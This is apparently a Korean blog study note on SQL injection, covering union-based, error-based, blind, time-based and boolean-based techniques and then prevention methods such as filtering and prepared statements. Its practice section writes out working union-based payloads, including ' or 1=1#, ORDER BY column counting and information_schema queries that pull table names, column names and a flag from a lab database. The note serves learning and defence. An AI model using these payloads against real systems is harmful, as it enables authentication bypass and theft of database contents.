반응형
Information_schema
개념
- MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB
- 데이터베이스 내의 모든 테이블은 읽기 전용이다.
SQL Injection
개념
- 악의적인 사용자가 보안상의 취약점을 이요하여, 임의의 SQL문을 주입하고 실행되게 하여 데이터 베이스가 비정상적인 동작을 하도록 조작하는 행위
Union based SQL Injection
개념
- SQL에서 Union 키워드는 두 개의 쿼리문에 대한 결과를 통합해서 하나의 테이블로 보여주게 하는 키워드이다. 정상적인 쿼리문에 Union 키워드를 사용하여 인젝션에 성공하면, 원하는 쿼리문을 실행할 수 있게 된다. 단, 두가지 조건이 있는데, Union하는 두 테이블의 컬럼 수가 같아야 하고, 데이터 형이 같아야한다.
실습문제
- 우선 사용자 계정 얻기
- ‘ or 1=1# id와 pw이 나옴
- ORDER BY?ex. ORDER BY 2 = 두 번째 칼럼을 기준으로 정렬1’ order by 2#는 됨, 1, 3으로 했을 때 안됨 → column 개수 2개
- ORDER BY 숫자를 증가시키다가 에러가 발생하면 그 전의 값이 칼럼의 개수가 된다.
- 지정된 칼럼을 기준으로 결과를 정렬할 때 사용하는 키워드
- table 이름 알기‘ union select all 1,table_name from information_schema.tables# → table의 이름은 senta_flag임
- ‘ union select all 1,2#
- column 이름 알기
- ' union select all 1,column_name from information_schema.columns where table_name='senta_flag'#
- ' union select all 1,column_name from information_schema.columns where table_schema="carnelian_paosa3we2fkn" and table_name="users" and table_name !='senta_flag'#
- 컬럼명을 이용해 데이터 추출하기
- ‘ union select all 1,flagcolumn from senta_flag#
- 데이터베이스 이름 알기
- ‘ union select all 1,database()#
- 다른 테이블 이름 알기
- ' union select all 1,table_name from information_schema.tables where table_schema="carnelian_paosa3we2fkn"and table_name !='senta_flag'#
Error based SQL Injection
개념
- SQL 쿼리에 고의적으로 오류를 발생시켜, 출력되는 에러의 내용을 통해 필요한 정보를 찾아낸다.
- 기본적으로 ‘(싱글 쿼테이션) 또는 ‘’(더블 쿼테이션)을 이용하며, Group BY와 HAVING 등을 이용하기도 한다.
특징
- 의도적으로 에러를 유발시킨다.
- 내가 원하는 에러메시지가 출력되도록 유도하거나, 혹은 에러메시지에 내가 원하는 정보를 직접 덧붙여 확인하기도 한다.
Blind SQL Injection
개념
- Blind SQL Injection은 서버가 쿼리에 대한 결과가 참인지 거짓인지에 따라 다른 응답을 주는 점을 이용하여 정보를 얻어내는 공격이다.
Time Based Blind SQL Injectoin
개념
- 응답의 참/거짓을 구분할 수 없을 때 사용되는 Blind SQL Injection 기법
- 대입 값에 대한 참 또는 거짓의 결과를 응답의 전송 시간을 이용하여 판단함
- 쿼리문의 참/거짓에 따라 응답 시간을 다르게 하여 참/거짓을 판별 ex) sleep(), benchmark(),… 등의 함수 이용
Boolean based SQL Injection
개념
- 데이터베이스에 접근하는 폼에서 입력값에 대한 검증을 하지 않을 경우 악의적인 SQL 쿼리를 삽입하여 데이터베이스의 정보를 탈취하거나 인증을 우회하는 공격
- 참과 거짓만 출력하는 페이지에 공격자가 조작한 쿼리로 인해 DB 내용을 노출하는 취약점
SQL Injection Prevention
String Replace
- 문자열 치환은 사용자로부터 입력받은 데이터에서 잠재적인 악성 sql코드를 제거하거나 변형하여 sql쿼리의 실행에 영향을 주지 않도록 하는 것
Black List Filtering
- Black List Filtering은 악성 데이터 또는 위험한 요소들을 목록으로 작성하여 그러한 데이터를 거부하는 접근 방식이다. 즉, 블랙리스트에 등록된 항목은 차단되거나 거부된다.
- 하지만, 새로운 공격 패턴이나 데이터가 등장할 경우 대응하기 어렵다.
White List Filtering
- White List Filtering은 허용되는 특정 데이터 목록을 작성하여 그러한 데이터만 허용하는 접근방식. 즉, 화이트리스트에 등록된 항목만 허용됨.
- 하지만, 유효성을 검증해야 하는 항목을 모두 등록해야하는 작업필요
Using Sanitize Function
- Sanitize함수는 입력된 데이터에서 악성 코드나 위험한 요소를 제거하거나 필터링하여 안전한 데이터만을 처리하는 함수를 말한다.
- SQL Injection과 같은 공격을 방지하기 위해 데이터를 정제하는 작업으로 사용
Prepared Statement
- Prepared statemet는 SQL쿼리를 실행하기 전에 미리 준비된 SQL템플릿으로, 사용자로부터 입력된 데이터를 매개변수화하여 쿼리 실행 시 동적으로 값을 전달하는 방법
- Prepared statement는 사용자의 입력값을 문자열 대신 매개 변수로 쿼리에 전달하므로, 쿼리 실행 시점에서 입력값이 아닌 매개변수로 인식됨
반응형
'웹 공부' 카테고리의 다른 글
JS Callback, Async 함수 (0) | 2023.10.12 |
---|---|
CDN&JS (0) | 2023.10.12 |
DB&DBMS&SQL (0) | 2023.10.12 |
URI/URL (0) | 2023.10.12 |
Domain/DNS & Robots.txt (0) | 2023.10.12 |